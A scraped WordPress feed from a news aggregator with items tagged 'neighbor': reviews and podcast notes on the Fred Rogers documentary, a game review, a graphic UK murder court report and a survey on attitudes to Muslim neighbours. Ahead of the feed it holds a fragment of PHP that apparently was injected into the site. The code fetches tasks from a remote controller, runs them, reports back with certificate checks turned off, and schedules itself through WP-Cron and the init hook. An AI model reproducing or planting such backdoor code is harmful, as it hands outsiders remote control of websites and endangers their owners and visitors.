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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); neighbor – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 04 Sep 2018 17:39:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png neighbor – Brief News https://briefnews.eu 32 32 The 6 Best Movies to Buy or Stream This Week: ‘Hereditary,’ ‘Won’t You Be My Neighbor?’ https://briefnews.eu/the-6-best-movies-to-buy-or-stream-this-week-hereditary-wont-you-be-my-neighbor/ https://briefnews.eu/the-6-best-movies-to-buy-or-stream-this-week-hereditary-wont-you-be-my-neighbor/#respond Tue, 04 Sep 2018 17:39:49 +0000 http://briefnews.eu/the-6-best-movies-to-buy-or-stream-this-week-hereditary-wont-you-be-my-neighbor/ Two of the summer’s most acclaimed sleeper hits both land on disc this week, along with a big, better-than-usual comic book blockbuster and an unsung gem of a rom-com on Netflix. And this week’s catalogue Blu-ray recommendations include the twin pillars of world cinema: Ingmar Bergman and Sylvester Stallone.

ON NETFLIX

Black Panther: Ryan Coogler’s entry in the Marvel Cinematic Universe grossed a staggering amount of money, but it shouldn’t come as a surprise: here was, for once, a sui generis filmmaker marshaling the limitless resources of a big-budget franchise to tell a story that wasn’t just about servicing said franchise. (Frankly, there are huge swaths, like the Bond-esque casino sequence, that barely feel like a superhero movie at all.) But it also gets the blockbuster job done, delivering big action beats and inspiring hero moments with an offhand ease that shames the lumbering likes of Coogler’s contemporaries. The key to its high grosses is simple: when you bother making one of these legitimately great, audiences will keep coming back to see it again.

Man Up: A self-described “sad, single loser” (Lake Bell, sublime) is mistaken for a blind date by a giddy fellow (Simon Pegg, likewise) and decides to roll with it, which sounds like a fairly typical dumb romantic-comedy setup. But then, the wildest thing happens: about a half-hour into the movie, she fesses up, diffusing the giant charade that tends to propel films like these – and then things get really interesting. Screenwriter Tess Morris and director Ben Palmer manage to create both a clever deconstruction of the romantic comedy and an entertaining representation of it; Man Up reverses the traditional first-hate-then-love trajectory, has a wildly improvisational spirit that flies in the face of the genre’s set-in-stone ethos, and features the finest Duran Duran dance scene this side of Donnie Darko. And the duo at its center couldn’t be better together; you want them to get together, and are glad that the movie doesn’t want that to happen in the traditional, trite way.

ON BLU-RAY / DVD / VOD

Hereditary: Like The Witch before it, this critically acclaimed thriller premiered at Sundance to deafening buzz, was acquired by A24 and promoted as an all-time scary movie, and then saw its solid reviews and box office supplemented by a backlash from general audiences who insisted it wasn’t “really” scary. And to be fair, it’s less a horror movie than an emotionally brutal family drama dressed up like one — the events are horrifying, to be sure, but in a way that has less to do with cheap thrills than vivid nightmares, as writer/director Ari Aster captures the way a tragedy can weigh on you, day in and day out. It’s his first feature, and it’s an astonishing debut; the cinematography is purposeful and powerful, and at the very least, it’s like a two-hour demonstration of the power of sound to create dread. The very last beat is more than a little goofy, but that complaint aside, this is a refreshingly bleak and unsettling piece of work, and Toni Collette’s performance is a powder keg. (Includes deleted scenes and featurette.)

Won’t You Be My Neighbor?: It’s hard to argue that the timing isn’t right for an appreciation of a man who attempted, for decades, to spread the message that “Love is at the root of everything… love or the lack of it.” And director Morgan Neville (20 Feet from Stardom) doesn’t have to underline the argument when he shows clips from an episode, during the very first week of Mr. Rogers’ Neighborhood, about fear of change, manifested in a king who builds a wall. (Yes, really.) The film is full of clips like that, and wonderful archival interviews in which the educator, minister, and broadcaster — whose shows allowed him to fill all three roles at once — articulates his philosophy. Neville’s tear-jerking film conveys them succinctly, nudged along by simple but effective animations, a moving score, and a free-flowing structure that lets him push past bio-doc conventions to fully explore what was important to this man, and the ideas he was trying to move into the mainstream.

ON BLU-RAY / FILMSTRUCK

Scenes from a Marriage: In 1973, Ingmar Bergman crafted this six-part, five-hour film for television, an oft-times uncomfortably intimate snapshot of the ups and downs of a Swedish marriage (and its aftermath). The next year, he reconfigured that footage into a three-hour theatrical feature; both versions are included on this Criterion Blu-ray (upgraded from a previous DVD release), and both have their virtues – in fact, as with the director’s later Fanny and Alexander, examining both is a marvelous opportunity to observe the master filmmaker’s process, and to understand what he found essential to this story. Liv Ullmann and Erland Josephson are remarkable in the leading roles, conveying the passage of time and the shifts in emotion primarily though non-verbal work, flawlessly captured by Sven Nykvist’s close-up photography. (Also streaming on FilmStruck.) (Includes archival interviews.)

ON BLU-RAY

Oscar: When you think of Sylvester Stallone’s ill-advised early-‘90s foray into (intentional) comedy — if you even think or know of it in the first place — you’re most likely thinking of Stop! Or My Mom Will Shoot, his strained 1992 match-up with Golden Girl Estelle Getty. But the previous year, he headed up a crackerjack ensemble (including Tim Curry, Don Ameche, Peter Riegert, Eddie Bracken, and pre-fame Marisa Tomei and Chazz Palminteri) for director John Landis, and the results are a lot of fun — a snappy, fast-paced, period Mob farce that nicely showcases Sly’s underrated (but undeniable) comic timing. (Includes interview and trailer.)

                                                                                

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]]> https://briefnews.eu/the-6-best-movies-to-buy-or-stream-this-week-hereditary-wont-you-be-my-neighbor/feed/ 0 Water Cooler: Walter Mitty, Annihilation, Won’t You Be My Neighbor, Mission: Impossible, Rampage, Searching, Blindspotting & More https://briefnews.eu/water-cooler-walter-mitty-annihilation-wont-you-be-my-neighbor-mission-impossible-rampage-searching-blindspotting-more/ https://briefnews.eu/water-cooler-walter-mitty-annihilation-wont-you-be-my-neighbor-mission-impossible-rampage-searching-blindspotting-more/#respond Wed, 25 Jul 2018 00:32:57 +0000 http://briefnews.eu/water-cooler-walter-mitty-annihilation-wont-you-be-my-neighbor-mission-impossible-rampage-searching-blindspotting-more/

On the July 24, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film Managing Editor Jacob Hall, Weekend Editor Brad Oman, senior writer Ben Pearson and writers Hoai-Tran Bui and Chris Evangelista we’ll discuss what we’ve been up to at the Water Cooler and answer some listener mail in The Mail Bag.

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In The Mail Bag:

  • Jorge Z from Australia writes in “I am 42 years old and as you all mentioned, time changes us. Not only that, having kids changes us even more. I don’t really know what my opinion would be if I was 42 with no kids. I do know that if I was 28 I would be frustrated about all of this. The point that I am trying to get to is that now having kids, even with the guy apologising, I would be very uncomfortable if I learned that he and my children were in the same room. Then I thought to myself, what about my friend with kids and my friends without kids? What do they think about it? I can tell you the the opinion of my friends without kids varied and most of them said: I don’t know what to think of this; maybe it was an overreaction. “
  • Carrie P writes in “I finished listening to your episode on the firing of James Gunn. I have been a podcast subscriber for a couple of months and enjoy and respect everyone’s opinions.  I will play devil’s advocate you sometimes do. I have been in education for 14 years and there is a federal push for teaching digital citizenship. We are doing our best to educate our students that the footprint they leave on social media can have a huge effect on their future. A lot of teenagers are fans of Marvel and James Gunn. This might be a good learning experience for them to see how comments they have made in the past can keep them from potential jobs and future successes.”
  • L from Texas writes in: “I just thought I would share some thoughts on your discussion of cleaning up after yourself in a theater. I worked in a theater for 6 years most of that time I spent as an usher. At the chain I worked at we were cross trained but each shift we were in a specific area so if you were working an usher shift you were an usher and the same goes for Box Office, Concessions and Booth.  The chain I worked at had a system for cleaning theaters, on the busy nights and days, which was called the ten step system in which if you have at least five usher working to clean a theater it would go like this.  1 – Gather all supplies 2- Turn on cleaning lights  3-2 ushers go to the top of the theater and alternate rows picking up any “big trash” your popcorn bags food containers drinks basically anything big enough to pick up and throw in the trash  4 – Clean any wet or stick spills – The big trash users would let one of the other users know that there was a need for a mop and then it would be cleaned 5- once the 2 ushers for step 3 are about 5 rows down 1 or 2 ushers with a large push broom will go down each row and get all the popcorn and other debris from under and in front of the seats  6 – 2 ushers will go down each side and sweep up the piles left by the #4 ushers and also spot check to make sure there is nothing left in the rows 7 – wipe down any seats that need it and return them to the correct position 8 – Vacuum any carpet that needs vacuuming ( we usually just had hand powered vacuums 9 – Empty the trash cans outside the theater  10 – Cleaning lights off and inform the podium the theater is ready to seat I know this was long but all this to say that if everyone would just take what ushers would consider “big trash” out with them we could eliminate an entire step here and theaters would get cleaned faster.  I will say that there is a lot of down time for ushers when it is not busy or theaters are not that busy but having been a manager as well I know that there is always something that an usher can be doing to keep the theater clean and organized and the managers can always find something for them to do while they are on the clock. So don’t worry about someone losing their job just because you took you popcorn bag out to the trash!”

At The Water Cooler:

  • What we’ve been Doing:
    • Chris traveled to see Seals at a La Jolla Cove in San Diego
    • Jacob visited the San Diego Zoo and did some Comic-Con shopping.
    • Brad canceled MoviePass and signed up for AMC A-List, crashing at SlashFilm HQ.
    • Hoai-Tran saw the premiere of her friend’s play Heartbreak Hitman at D.C.’s Capital Fringe Festival and celebrated two gi? (death anniversaries) with her family.
    • Peter went to the Magic Castle for Future Stars of Magic week.
  • What we’ve been Reading:
    • Jacob read Lee Child’s Without Fail as part of his plan to always read Jack Reacher books on planes
  • What we’ve been Watching:
    • Ben saw The Secret Life of Walter Mitty, Annihilation, and North By Northwest
    • Peter saw Won’t You Be My Neighbor and has been watching Who Is America? On Showtime
    • Jacob revisited the first Mission: Impossible and Mission: Impossible 3
    • Brad saw Death of Stalin and Mission: Impossible – Fallout
    • Chris saw Mission: Impossible – Fallout and Rampage
    • Hoai-Tran saw Searching and Blindspotting, and watched Mary and the Witch’s Flower on Netflix.
  • What we’ve been Eating:
    • Brad and Peter went to the Taco Bell from 2032 as part of a Demolition Man promotion
    • Peter ate Bagels with no spread at Comic-Con and it divided the /Film staff.
    • Jacob explored the San Diego culinary scene: Breakfast Republic, Carnitas Snack Shack, La Puerta, Blind Burro, and Serranos (and also drank a whole bunch of tequila).
    • Brad had a Cruffin from Kettle Glazed.
  • What we’ve been Playing:
    • Jacob got sucked into Lumines Remastered on the Nintendo Switch
    • Pokemon Go at Comic-Con where he got nearly 40 Unown, and Ghostbusters World

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]]> https://briefnews.eu/water-cooler-walter-mitty-annihilation-wont-you-be-my-neighbor-mission-impossible-rampage-searching-blindspotting-more/feed/ 0 Try Out This Physics Problem With a Baseball and a Neighbor https://briefnews.eu/try-out-this-physics-problem-with-a-baseball-and-a-neighbor/ https://briefnews.eu/try-out-this-physics-problem-with-a-baseball-and-a-neighbor/#respond Sat, 07 Jul 2018 06:38:11 +0000 http://briefnews.eu/try-out-this-physics-problem-with-a-baseball-and-a-neighbor/ The best questions are always the ones that don’t have a single clear answer.


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]]> https://briefnews.eu/try-out-this-physics-problem-with-a-baseball-and-a-neighbor/feed/ 0 Daily Podcast: Water Cooler Discussion Including Jurassic Doritos, Star Wars, Ocean’s 8, Westworld, GLOW, Won’t You Be My Neighbor, Jumanji, 2001, Mulan & More https://briefnews.eu/daily-podcast-water-cooler-discussion-including-jurassic-doritos-star-wars-oceans-8-westworld-glow-wont-you-be-my-neighbor-jumanji-2001-mulan-more/ https://briefnews.eu/daily-podcast-water-cooler-discussion-including-jurassic-doritos-star-wars-oceans-8-westworld-glow-wont-you-be-my-neighbor-jumanji-2001-mulan-more/#respond Tue, 19 Jun 2018 07:40:34 +0000 http://briefnews.eu/daily-podcast-water-cooler-discussion-including-jurassic-doritos-star-wars-oceans-8-westworld-glow-wont-you-be-my-neighbor-jumanji-2001-mulan-more/ Jurassic Doritos

On the June 18, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film weekend editor Brad Oman, senior writer Ben Pearson and writers Hoai-Tran Bui and Chris Evangelista to talk about what they’ve been up to at the Water Cooler.

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At The Water Cooler:

  • What we’ve been Doing:
    • Peter went to the Magic Castle and had a weird experience.
    • Brad is trying to figure out what to do with his giant Jurassic Doritos crate
    • Chris got a pair of high heels from Netflix (to advertise Mindhunter).
  • What we’ve been Reading:
    • Ben read The Moviemaking Magic of Star Wars: Creatures + Aliens
  • What we’ve been Watching:
    • Peter saw Ocean’s 8, tried and failed to see Won’t You Be My Neighbor, and watched this week’s episode of Westworld
    • Chris saw Won’t You Be My Neighbor and wept; also GLOW season 2.
    • Hoai-Tran saw American Animals and Incredibles 2.
    • Ben saw Ocean’s 8, Jumanji: Welcome to the Jungle, and 2001: A Space Odyssey
    • Brad saw Tag, Incredibles 2 again, watched Mulan for the first time.
  • What we’ve been Eating:
    • Peter made a Pizza for the first time in a pizza oven
    • Hoai-Tran had Thai rolled ice cream.
    • Brad had Burger King Pretzel Chicken Fries, chocolate covered strawberry flavored Kit Kat.
  • What we’ve been Playing:
    • Brad has been playing the Jurassic World Alive mobile game, listening to the Incredibles 2 score

You can find more about all the stories we mentioned on today’s show at slashfilm.com, and linked inside the show notes.

/Film Daily is published every weekday, bringing you the most exciting news from the world of movies and television as well as deeper dives into the great features from slashfilm.com.

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We’ve grown to detest sincerity, haven’t we?

Or at the very least, we as a culture have grown suspicious of it. We have a need to see even the purest of kindness through a lens of the pain and suffering that drive it – friendly, neighborhood Paddington, like the friendly, neighborhood Spider-Man, was an orphan who subsequently lost his uncle – and we view kindness this way only if we aren’t first investigating the potential selfishness driving what we think is pretense. In either case, even fictional views on empathy and heroism, especially in American media, tend to focus on some kind of trauma. Captain America, who wears the star-spangled banner on his chest, lost everyone he ever loved before even waking up. Perhaps there is no such thing as kindness not born out of cruelty.

Perhaps there is no longer such a thing as American kindness detached from the various specters of September 11th; tragedy is a through-line for us all. Even the cinematic Superman, once a friend, has become a morose figure detached from humanity and the kindness of his “American way.” He was re-introduced to the world in Man of Steel amidst scenes of buildings crumbing into piles of ash, and his stories since have seen him wrestle with aloofness. Where would the citizens of Superman’s city, abandoned by their most reliable neighbor, have looked for the helpers, I wonder? Admittedly, I often wonder this about real American cities nowadays.

And that brings me to Fred Rogers and the new documentary Won’t You Be My Neighbor?

Superman and Fred Rogers

Like most children outside America, I did not grow up with Mr. Rogers or his neighborhood. Global popular culture is largely American, though not all of it travels. My window into the kindness of the American heartland was in fact the Man of Tomorrow, Superman, whose red and blue I was familiar with from an early age and whose kindness seems almost uncanny today. Whether Christopher Reeve or Superman: The Animated Series or some statuette gifted to me by my grandmother, Superman felt like a symbol that may as well be described now as “old-world” naiveté. How can someone be so kind, so empathetic and so seemingly unselfish and still be an interesting character, let alone a real person? People ask this question of Superman just as they seem to ask it of Fred Rogers, a man who could not possibly remain the kindly American TV neighbor after the credits had rolled. Could he?

Morgan Neville’s Won’t You Be My Neighbor? hopes to respond to this looming curiosity, and the answer is…complicated. The film begins with a resounding ‘Yes’ – at first anyway. The polite cadence, the tone of understanding seemingly aimed at children, all continue behind the scenes. Neville’s documentary opens with Mr. Rogers attempting to welcome other adults, with open arms, into his philosophy of kindness despite not being able to fully express it. He mixes musical metaphors while playing his piano out of tune in order to demonstrate emotional fragility, and it’s simply delightful.

Fred McFeely Rogers, born 1928, may not have been able to articulate the value of an emotional education in anything approaching academic terms, but his awe-inspiring dedication to helping children feel seen spoke volumes all on its own. I don’t need to tell you this if you’re American, or grew up in America. If you didn’t, any American will tell you about Fred Rogers unprompted.

My friend and Entertainment Weekly writer Anthony Breznican has a story about meeting him in college – you may have read it – a tale indicative of the impact of Mister Rogers’ Neighborhood, which ran off and on from 1968 to 2001, totaling 912 episodes over 31 seasons. Fred Rogers’ relationship to most Americans is crystal clear: he provided comfort and guidance to those who needed it. But what of his relationship to America itself?

American Dreams

Fred Rogers died just weeks before the invasion of Iraq. His show began several years into the Vietnam war, and during the program’s very first week, he used puppets to help American kids deal with ideas like armed conflict and building of border walls, which seemed too vast for a child’s mind to fully comprehend. Over the years, whether dealing with racial segregation or political assassination, he simplified the American experience in order to comfort the youngest of those affected by it. But the paradox therein – and there is always a paradox when it comes to America – is one the film unearths in all its complex hues.

After the turn of the millennium, as chronicled in the film, conservative criticism of Mr. Rogers twisted Neighborhood’s message into one of entitlement, rather than understanding. This very idea of entitlement tends to be the go-to of the American Right, a “Get Out of Engaging-with-issues Free” card that presumes neither history nor circumstance are relevant when levying complaints against a system. In the case of Mr. Rogers, the system he was trying to combat was the age-old wisdom that children should be seen and not heard – that their emotions, and thus their emotional development, required no nurturing or care.

Mr. Rogers cared, no doubt, and he got enough kids to care that the effect of his kindness still lingers, carried on in each of them as adults. But even Mr. Rogers was bound by his era, a paradox as potent as America itself, the “land of the free” founded on human enslavement and genocide, where “the American Dream” is shouted from rooftops, a dream shining brighter than any other the world over, but a place of dreams where the reality now seems grim. In many ways, it always has been.

The Tools We’re Given

François Scarborough Clemmons became the first recurring African American actor on children’s television, as the neighborhood’s Officer Clemmons. In an era where segregation still ran rampant despite having been struck down legally – the YMCA’s pools were still off-limits to Black children in 1969, a year after Clemmons joined the show – Rogers conceived of an episode wherein he and Clemmons would not only dip their feet in a pool together on a hot day, but Rogers would help Clemmons dry off with a towel. It was a loving and intimate gesture (one the duo repeated on the program in 1993 during their final episode together) and it flew in the face of the continued racism of the time. But Fred Rogers’ love was not without complications.

Clemmons was also a closeted gay man. While the Civil Rights movement had been going on for years, giving “allies” like Fred Rogers the opportunity to acclimate to specific struggles, Queer Pride was still in its infancy – the Stonewall riots took place only a month after the historical pool episode. Upon learning that Clemmons frequented a known gay bar, Rogers told him to keep his sexuality a secret. If word got out, the network would more than likely take Rogers’ show away from him. In short, he convinced Clemmons to help him continue his mission to help children, a mission that involved speaking out against certain forms of oppression, by adding to the decades of another kind of oppression faced by Clemmons.

Even in the Home of the Brave, fear turns progress into a tiered structure, where people have to wait their turn. American women’s suffragist Susan B. Anthony for instance, once an anti-slavery advocate, worked to prevent black men from being granted the vote before white women were granted the same. History is complicated, as are the people canonized in its pages. Fred Rogers was one such figure, a product of his time doing his very best with the tools he was given – but the miracle of Won’t You Be My Neighbor? isn’t just that it captures a heavenly kindness, but the evolution of a kind man’s understanding of the world, often in subtle ways.

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]]> https://briefnews.eu/truth-kindness-and-the-american-way-a-non-american-perspective-on-wont-you-be-my-neighbor/feed/ 0 ‘Won’t You Be My Neighbor?’ Clip: Get to Know the Man Behind ‘Mr. Rogers’ Neighborhood’ https://briefnews.eu/wont-you-be-my-neighbor-clip-get-to-know-the-man-behind-mr-rogers-neighborhood/ https://briefnews.eu/wont-you-be-my-neighbor-clip-get-to-know-the-man-behind-mr-rogers-neighborhood/#respond Sun, 21 Jan 2018 08:13:26 +0000 http://briefnews.eu/wont-you-be-my-neighbor-clip-get-to-know-the-man-behind-mr-rogers-neighborhood/ Won't You Be My Neighbor Clip

One of the standout documentaries premiering at the 2018 Sundance Film Festival is undoubtedly Won’t You Be My Neighbor? The film from 20 Feet from Stardom director Morgan Neville looks back at the lasting legacy of the children’s television program Mister Rogers’ Neighborhood by painting an intimate portrait of the man who hosted the show: Fred Rogers.

Won’t You Be My Neighbor? goes beyond the zip-up cardigans and the Neighborhood of Make-Believe to talk with Fred Rogers’ family, friends and colleagues about the man himself and what led him to become such an influential part of so many children’s lives. A new clip from the documentary gives us a small taste of the kind of revelations we can expect from this documentary.

Won’t You Be My Neighbor Clip

In this clip, Mr. Rogers’ Neighborhood producer Margy Whitmer talks about how the series was successful not because of its professional production quality, but simply because the core of the show was something people connected to. Fred Rogers hits that home when he says, “Love is at the root of everything. All learning. All parenting. All relationships. Love or the lack of it. And what we hear and see on the screen is part of who we become.”

Based on that philosophy, it should come as no surprise that Mr. Rogers’ Neighborhood was such an important television show for children to see. Fred Rogers was a nurturing surrogate father who made children feel loved, especially the ones who weren’t being loved enough. This documentary promises to be a fascinating and touching glimpse into Mr. Rogers, and we’ll have more thoughts on it after we see it at the Sundance Film Festival this week.

Here’s the official synopsis for the documentary from Sundance:

With his gentle voice and heartfelt words of wisdom, Fred Rogers served as a compassionate surrogate father for generations of American children who tuned in to public television. He believed in love as the essential ingredient in life and was able to assist kids through difficult situations armed merely with handmade puppets suggesting tolerance and acceptance. An ordained Presbyterian minister, Mr. Rogers made speaking directly and openly to children his life’s work, both on and off his long-running show. He was at the forefront of a movement devoted to meeting the specific needs of children and was considered a radical back then for saying, “I like you just the way you are.”

Animated sequences are peppered between archival footage of Mister Rogers’ Neighborhood and interviews with Fred Rogers’s family, friends, and colleagues. Examining Rogers’s legacy, Academy Award–winning director Morgan Neville (20 Feet from Stardom) offers a deliberate and beautiful tribute to an authentic human being and provides a much-needed salve for these often-fraught times.

Won’t You Be My Neighbor? hits theaters this summer on June 8, 2018.

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]]> https://briefnews.eu/wont-you-be-my-neighbor-clip-get-to-know-the-man-behind-mr-rogers-neighborhood/feed/ 0 ‘Won’t You Be My Neighbor?’ Review: A Touching, Beautiful Tribute to a True TV Icon [Sundance] https://briefnews.eu/wont-you-be-my-neighbor-review-a-touching-beautiful-tribute-to-a-true-tv-icon-sundance/ https://briefnews.eu/wont-you-be-my-neighbor-review-a-touching-beautiful-tribute-to-a-true-tv-icon-sundance/#respond Sun, 21 Jan 2018 04:14:42 +0000 http://briefnews.eu/wont-you-be-my-neighbor-review-a-touching-beautiful-tribute-to-a-true-tv-icon-sundance/ Won't You Be My Neighbor Review

At a time when we’re being disappointed by our heroes left and right, it’s nice to take a look back at a TV icon who was nothing more than a pure soul who wanted to do some good in the world.

The documentary Won’t You Be My Neighbor? takes an in-depth look at Fred Rogers, the man behind the PBS children’s program Mister Rogers’ Neighborhood who has influenced generations of children by way of his quaint yet insightful loving nature. It’s both an eye-opening portrait and a loving tribute to the cardigan-wearing man who liked us just the way we are.

Keep reading for our full Won’t You Be My Neighbor review.

Instead of going for the more traditional biographical documentary route, director Morgan Neville (20 Feet from Stardom) focuses mostly on the career of Fred Rogers. While some background information about his early years and family are explored, the documentary wastes no time diving into Rogers foray into television, which began fairly early in his life.

Rogers was originally prepared to head off to seminary school, but became fascinated with the advent of television. However, he saw much more potential in the medium than the slapstick comedy and seemingly mindless programming that millions of Americans were turning into. This is almost all we need to know about Fred Rogers in order to understand that he was an honest and earnest man. He wasn’t looking to get into television for the money. He saw a tool that would allow him to reach people in a meaningful way.

The documentary highlights the predecessor to Mr. Rogers’ Neighborhood, a show that had to be innovative because it was broadcast live on low budget public access in Pittsburgh where their short film reels would break, forcing some segments to be improvised on the spot. That’s where Mr. Rogers’ first puppet work was born, but the show still didn’t live up to the dreams Rogers had for television. Obviously, that came with Mr. Rogers’ Neighborhood, and this documentary provides incredible insight into the early years of the show, including surprising highlights that more modern audiences may have either forgotten or didn’t even know existed.

The earliest black and white episodes of Mr. Rogers’ Neighborhood dealt with serious topics like the Vietnam War, death and grim topics for kids. But Rogers wanted to make these topics easier to understand for children whose minds were not yet able to grasp complex concepts. He leveled with children without ever really talking down to them. Archival footage from various events with Rogers meeting children live in person shows how sincere his efforts were to bring joy into their lives. The expression on his face and the look in his eyes is one of gentle kindness and love.

Talking heads from the likes of Mr. Rogers’ Neighborhood producer Margy Whitmer, cellist and guest star Yo Yo Ma, wife Joanne Rogers and their kids, and various cast and crew members from the show take us through the history of the program, offering commentary about specific episodes, honing on what made Roger’s approach to making television for kids resonate so much and for so many years. One particular segment focuses on an episode where Daniel the Tiger wonders if he’s a mistake because he’s not like anybody else he knows. Lady Aberlin consoles him and the two proceed to sing a song to reassure him that he’s most certainly not a mistake. I dare you not to cry during that scene.

Furthermore, I don’t know about you, but I’ve never watched a documentary in theaters where the audience erupted in applause due to the actions of the subject on screen, not even at Sundance where the hype is high. But in Won’t You Be My Neighbor?, the tape of Fred Rogers’ famous testimonial on front of Congress to fight to keep government funding for public television had the theater clapping in full, joyful support.

Though this documentary is a loving tribute to Fred Rogers through and through, it doesn’t shy away from some of his shortcomings. Whether it’s second-guessing himself or certain missteps that were merely a product of the times, Rogers is by no means perfect, but there aren’t any shocking revelations to be had.

Won’t You Be My Neighbor? is easily one of the most touching, tearful documentaries I’ve ever seen. As the credits rolled here at Sundance, sniffles could be heard as many audience members wiped tears from their eyes and cheeks, yours truly included. This documentary pulled at my heartstrings in all the right ways and makes me long for the days when we had someone like Fred Rogers to make the world a little less scary for children and adults. We may never get a gift like Fred Rogers again.

Won’t You Be My Neighbor? will be released by Focus Features this summer on June 8, 2018.

/Film Rating: 9 out of 10

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Enlarge / There isn’t much obvious rhyme or reason to the game’s puzzles, which turn a 10-minute level into an hour-long affair.

Hello Neighbor won’t be the very last game I review this year. I can only pray that it will be the worst. As of now, the first-person stealth puzzler is the worst game I can remember covering in a long time.

That’s a shame, because the premise is promising enough. It’s like a suburban take on Rear Window set in the world of Psychonauts’ Milkman Conspiracy. Empty, twisted cookie-cutter houses embody a cartoonish paranoia. The player character, a young boy presumably native to the breezy street where the game takes place, sees something he shouldn’t. His titular neighbor has shoved a shrieking somebody (or something) into his basement. It’s your job to learn who or what.

All of this is implied through imagery. It has to be, since there isn’t really any dialogue in Hello Neighbor. There’s also no tutorial or anything like a basic breakdown of the controls, either. That quickly becomes a problem as you realize nothing works as it should, from avoiding your pursuer to stacking crates to sneak in through windows.

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Police have released the chilling audio of a 999 call by a racist, paranoid schizophrenic who murdered his Kurdish refugee neighbor. Last year Jeffrey Barry, 56, entered the Bristol flat of Kamil Ahmad, 49, stabbed him to death and cut off his penis.

The murder took place just hours after Barry was released from a psychiatric hospital. Bristol Crown Court heard psychiatrists had opposed Barry’s release, but a mental health tribunal ruled he could be discharged, according to the Telegraph.

In the phone call, Barry can be heard breathing heavily. He confirms his address to the call handler before admitting to the murder. He says: “I just killed Ahmad Kamil [sic]. I need to be arrested. I’ve got injuries to myself as well.”

CCTV images showed Barry knocking on Ahmad’s door at 1.30am and leaving, covered in blood, at 2.15am on July 7 last year. Neighbor Anthony Brink heard Ahmad saying: “Oh no, it’s you,” and screaming after Barry went into the flat.

In the 999 call, Barry said: “Course it’s murder, isn’t it? I’m going to say diminished responsibility.”

A post-mortem found Ahmed had suffered injuries to his face, head and neck, with 25 stab wounds to his face and eyes. There were also stab wounds to his stomach, right arm and left wrist; his penis had been cut off after death.

The court heard Barry had a long-standing grudge against Iraqi-born Ahmad, and had called police weeks before claiming he was a rapist, a paedophile and a terrorist.

Barry told a community psychiatric nurse he was “criminally insane” in a phone call he made minutes before the fatal attack. However, police found a note in his room reading: “The fact is, I have acted out my entire psychiatric history. I’m very well. Sorry.”

A jury unanimously convicted Barry, who is being held at Broadmoor Hospital, of murder following a two-week trial.

Speaking outside court, Ahmad’s family described the Kurdish refugee as a “deeply loved member of our family,” and questioned why authorities did not protect him from “this violent racist.”

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The research, which was carried out by Germany’s Bertelsmann Stiftung foundation as part of the Religious Monitor 2017 project, saw 10,000 people interviewed in Germany, Austria, Switzerland, France and the UK, which between them are home to some 14 million Muslims.

“20 percent of citizens questioned say they do not want to have Muslims as neighbors,” Bertelsmann Stiftung said.

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According to the survey, the level of concern over Islam is the highest in Austria (28 percent) and lowest in France (14 percent).

According to Muslimpress, the same survey revealed that around 31 percent of people in the five countries didn’t want to live near refugees in general, regardless of their religion.

Bertelsmann Stiftung also addressed discrimination against Muslims in the European labor market in its paper.

“Everywhere, except in the UK” highly religious Muslims have more difficulty finding a job in accordance with their qualification than less devoted Islam followers, according to the foundation’s findings.

Muslims were also being paid less, especially in Germany, as they usually occupy low-wage positions, it added.

“So far, no country in western Europe has found a convincing strategy that addresses both equal opportunity as well as respect for religious diversity,” Yasemin El-Menouar, Islam expert at Bertelsmann Stiftung, said.

At the same time, other data gathered by Religious Monitor 2017 suggested that Muslims are well-integrated into mainstream society in Europe.

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Second- and third-generation Muslims living in Europe have much better knowledge of the local language, better levels of education and better jobs, compared with those who are recent arrivals to the EU.

The children of most immigrants are learning the tongue of their country of residence as their first language, Bertelsmann Stiftung said.

Over 90 percent of immigrant kids have French as their primary language in France, with 80 percent of Muslims born in Britain learning English as children.

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“Seventy-five percent of Muslims regularly spend their free time with non-Muslims,” the research said.

According to Bertelsmann Stiftung, around 94 percent of Muslims, interviewed by the foundation, said that they felt connected with their European country they live in.

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